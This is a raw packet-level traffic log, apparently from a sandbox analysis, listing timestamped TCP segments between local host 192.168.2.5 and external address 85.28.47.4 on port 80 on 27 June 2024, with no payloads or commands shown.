Jun 27, 2024 07:37:14.461735964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461741924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461749077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461750031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.461754084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461760044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.461772919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.461796045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.462246895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462264061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462275982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462286949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462297916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462299109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.462308884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462321043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462325096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.462332010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462342978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462353945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462356091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.462364912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462376118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462387085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.462387085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462416887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.462444067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.462867022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462878942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462889910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462901115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462912083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462918997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.462922096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462934017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462944984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462944984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.462954998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.462964058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.462985039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.463006020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.464613914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.464653969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.464663982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.464665890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.464694977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.464708090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.464745045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.464756012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.464767933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.464778900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.464792967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.464821100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.464883089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.464936018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.465080976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465090036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465132952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.465147972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465158939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465169907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465190887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.465205908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465215921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.465249062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.465281010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465291977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465325117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.465409040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465420961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465432882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465462923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.465472937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.465516090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465527058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465537071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465564966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.465590000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.465651989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465662956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465694904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.465733051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.465790033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465801001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465811968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465821981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465832949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465842009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.465842962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465854883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465867996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.465872049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.465888977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.465919018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.466105938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.466118097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.466126919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.466139078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.466150045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.466156960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.466161013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.466171026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.466171980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.466193914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.466223001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.466362000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.466377020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.466414928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.466470003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.466480017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.466490984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.466500998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.466511965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.466521025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.466521978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.466538906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.466559887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.542675018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.542711973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.542723894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.542768002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.542793036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.542838097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.542850018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.542861938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.542881012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.542908907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.542958975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.542968988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.543000937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.543025970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.546947002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.546966076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.546981096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547000885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547039986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547122955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547136068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547147989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547183990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547209978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547267914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547276974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547288895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547302008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547312021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547313929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547331095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547364950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547497988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547508955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547518015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547528028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547538042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547549963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547553062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547571898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547600985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547789097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547797918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547816992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547827959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547828913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547837973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547849894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547858000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547859907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547879934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547880888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547893047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547905922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547909021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547921896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547931910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.547949076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547974110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.547996998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.548316956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548327923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548340082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548351049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548356056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.548362970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548377991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.548405886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.548574924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548585892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548597097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548609018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548616886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.548620939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548646927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.548676968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.548870087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548881054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548892021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548902988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548914909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548921108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.548923969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548935890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548947096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.548947096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548959017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548969030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548970938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.548980951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.548993111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.549010992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.549037933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.549288988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.549300909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.549310923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.549323082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.549333096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.549335957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.549345970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.549351931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.549356937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.549385071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.549395084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.551206112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.551271915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.594232082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.599685907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.769922972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.769957066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.769968987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.769995928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770008087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770020008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770034075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770097017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.770142078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.770267963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770281076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770292044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770303965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770314932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770315886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.770325899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770339012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770349979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770351887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.770361900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770384073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.770396948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.770689011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770700932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770710945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770735979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.770759106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.770813942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770826101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770860910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.770870924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.770967960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770979881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.770989895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771001101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771012068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771012068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.771023989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771033049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.771034956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771049023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771051884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771064043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771070004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.771075010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771085978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771091938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.771097898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771111012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.771111012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771132946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.771157980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.771946907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771960020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771971941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771984100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771994114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.771996975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.772007942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772020102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772022009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.772032022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772042990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772047997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.772053957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772064924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772066116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.772080898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772093058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.772093058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772105932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772115946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772119045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.772130013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772136927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.772161961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.772185087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.772870064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772881985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772892952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772906065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772917032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772917986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.772927999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772938967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772948027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.772950888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772962093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772969007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.772978067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772979975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772984982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772988081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.772994995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773001909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.773005962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773009062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.773017883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773042917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.773065090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.773793936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773807049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773818016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773828983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773839951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773840904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.773852110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773863077 CEST	80	49705	85.28.47.4	192.168.2.5
